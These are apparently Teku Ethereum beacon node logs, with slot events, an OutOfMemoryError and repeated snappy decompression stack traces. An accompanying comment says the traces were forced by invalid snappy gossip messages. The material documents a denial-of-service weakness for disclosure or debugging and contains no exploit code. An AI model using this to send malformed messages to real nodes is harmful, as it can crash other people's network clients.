12:15:13.034 INFO - Slot Event *** Slot: 222375, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:15:24.982 INFO - Slot Event *** Slot: 222376, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:15:36.991 INFO - Slot Event *** Slot: 222377, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:15:48.995 INFO - Slot Event *** Slot: 222378, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:16:00.985 INFO - Slot Event *** Slot: 222379, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 38
12:16:13.053 INFO - Slot Event *** Slot: 222380, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:16:24.953 INFO - Slot Event *** Slot: 222381, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:16:37.392 INFO - Slot Event *** Slot: 222382, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:16:49.032 INFO - Slot Event *** Slot: 222383, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:00.999 INFO - Slot Event *** Slot: 222384, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 37
12:17:13.277 INFO - Slot Event *** Slot: 222385, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:24.962 INFO - Slot Event *** Slot: 222386, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:36.949 INFO - Slot Event *** Slot: 222387, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:17:49.131 INFO - Slot Event *** Slot: 222388, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:18:01.031 INFO - Slot Event *** Slot: 222389, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:18:13.180 INFO - Slot Event *** Slot: 222390, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 36
12:18:25.012 INFO - Slot Event *** Slot: 222391, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:18:37.016 INFO - Slot Event *** Slot: 222392, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:18:49.328 INFO - Slot Event *** Slot: 222393, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:19:01.037 INFO - Slot Event *** Slot: 222394, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:13.001 INFO - Slot Event *** Slot: 222395, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:25.060 INFO - Slot Event *** Slot: 222396, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:19:36.851 INFO - Slot Event *** Slot: 222397, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:49.023 INFO - Slot Event *** Slot: 222398, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:20:00.978 INFO - Slot Event *** Slot: 222399, Block: ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:08.493 INFO - Epoch Event *** Epoch: 6950, Justified checkpoint: 6947, Finalized checkpoint: 6946, Finalized root: caadae..b936
12:20:19.203 INFO - Slot Event *** Slot: 222400, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:25.148 INFO - Slot Event *** Slot: 222401, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:20:35.005 INFO - Sync Event *** Current slot: 222402, Head slot: 222367, Connected peers: 32
java.lang.OutOfMemoryError: Java heap space
Dumping heap to java_pid12109.hprof ...
Heap dump file created [899176967 bytes in 4.576 secs]
12:21:08.746 INFO - Sync Event *** Current slot: 222403, Head slot: 222400, Connected peers: 31
12:21:15.845 INFO - Sync Event *** Current slot: 222404, Head slot: 222401, Connected peers: 31
12:21:16.913 INFO - Slot Event *** Slot: 222405, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:21:24.932 INFO - Slot Event *** Slot: 222406, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:21:37.041 INFO - Slot Event *** Slot: 222407, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 32
12:21:49.009 INFO - Slot Event *** Slot: 222408, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:22:01.104 INFO - Slot Event *** Slot: 222409, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:22:13.384 INFO - Slot Event *** Slot: 222410, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 32
12:22:25.104 INFO - Slot Event *** Slot: 222411, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:22:37.058 INFO - Slot Event *** Slot: 222412, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:22:49.082 INFO - Slot Event *** Slot: 222413, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:23:01.033 INFO - Slot Event *** Slot: 222414, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:23:13.093 INFO - Slot Event *** Slot: 222415, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:23:25.044 INFO - Slot Event *** Slot: 222416, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:23:37.052 INFO - Slot Event *** Slot: 222417, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:23:49.031 INFO - Slot Event *** Slot: 222418, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:24:01.240 INFO - Slot Event *** Slot: 222419, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:24:13.101 INFO - Slot Event *** Slot: 222420, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:24:25.263 INFO - Slot Event *** Slot: 222421, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 30
12:24:37.229 INFO - Slot Event *** Slot: 222422, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 29
12:24:49.051 INFO - Slot Event *** Slot: 222423, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 28
12:25:01.327 INFO - Slot Event *** Slot: 222424, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 27
12:25:13.274 INFO - Slot Event *** Slot: 222425, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 26
12:25:25.081 INFO - Slot Event *** Slot: 222426, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 27
12:25:37.252 INFO - Slot Event *** Slot: 222427, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:25:49.119 INFO - Slot Event *** Slot: 222428, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:26:01.033 INFO - Slot Event *** Slot: 222429, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 26
12:26:13.237 INFO - Slot Event *** Slot: 222430, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:26:25.116 INFO - Slot Event *** Slot: 222431, Block: ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:26:32.534 INFO - Epoch Event *** Epoch: 6951, Justified checkpoint: 6949, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e
12:26:37.495 INFO - Slot Event *** Slot: 222432, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 26
12:26:49.028 INFO - Slot Event *** Slot: 222433, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 25
12:27:02.726 INFO - Slot Event *** Slot: 222434, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:13.243 INFO - Slot Event *** Slot: 222435, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:25.376 INFO - Slot Event *** Slot: 222436, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:37.036 INFO - Slot Event *** Slot: 222437, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:27:49.073 INFO - Slot Event *** Slot: 222438, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:01.635 INFO - Slot Event *** Slot: 222439, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:13.148 INFO - Slot Event *** Slot: 222440, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:25.069 INFO - Slot Event *** Slot: 222441, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:37.133 INFO - Slot Event *** Slot: 222442, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:28:49.067 INFO - Slot Event *** Slot: 222443, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
12:29:01.184 INFO - Slot Event *** Slot: 222444, Block: ... empty, Epoch: 6951, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 24
Teku log:
- showing the stack traces forced by invalid snappy messages
- note that this might either end in an uncompress error (and allocating memory) or java lang out of memory exceptions when trying to allocate more mem than available to the JVM.
tintin@takeshii:~/workspace/java/teku|master⚡
⇒ tail -n 200 /Users/tintin/Library/teku/logs/teku.log at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:31) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
Caused by: java.io.IOException: FAILED_TO_UNCOMPRESS(5)
at org.xerial.snappy.SnappyNative.throw_error(SnappyNative.java:112) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.SnappyNative.rawUncompress(Native Method) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.rawUncompress(Snappy.java:478) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.uncompress(Snappy.java:517) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.uncompress(Snappy.java:492) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
2020-09-04 12:27:30.474+02:00 | P2PService-event-thread-0 | WARN | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:31) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
Caused by: java.io.IOException: FAILED_TO_UNCOMPRESS(5)
at org.xerial.snappy.SnappyNative.throw_error(SnappyNative.java:112) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.SnappyNative.rawUncompress(Native Method) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.rawUncompress(Snappy.java:478) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.uncompress(Snappy.java:517) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.uncompress(Snappy.java:492) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
2020-09-04 12:27:30.491+02:00 | DefaultQuartzScheduler_QuartzSchedulerThread | DEBUG | PropertySettingJobFactory | Producing instance of Job 'DEFAULT.Timer', class=tech.pegasys.teku.services.timer.ScheduledTimeEvent
2020-09-04 12:27:30.491+02:00 | DefaultQuartzScheduler_QuartzSchedulerThread | DEBUG | QuartzSchedulerThread | batch acquisition of 1 triggers
2020-09-04 12:27:30.491+02:00 | DefaultQuartzScheduler_Worker-8 | DEBUG | JobRunShell | Calling execute on job DEFAULT.Timer
2020-09-04 12:27:30.616+02:00 | P2PService-event-thread-0 | WARN | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:31) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
... 17 more
Caused by: java.io.IOException: FAILED_TO_UNCOMPRESS(5)
at org.xerial.snappy.SnappyNative.throw_error(SnappyNative.java:112) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.SnappyNative.rawUncompress(Native Method) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.rawUncompress(Snappy.java:478) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.uncompress(Snappy.java:517) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at org.xerial.snappy.Snappy.uncompress(Snappy.java:492) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
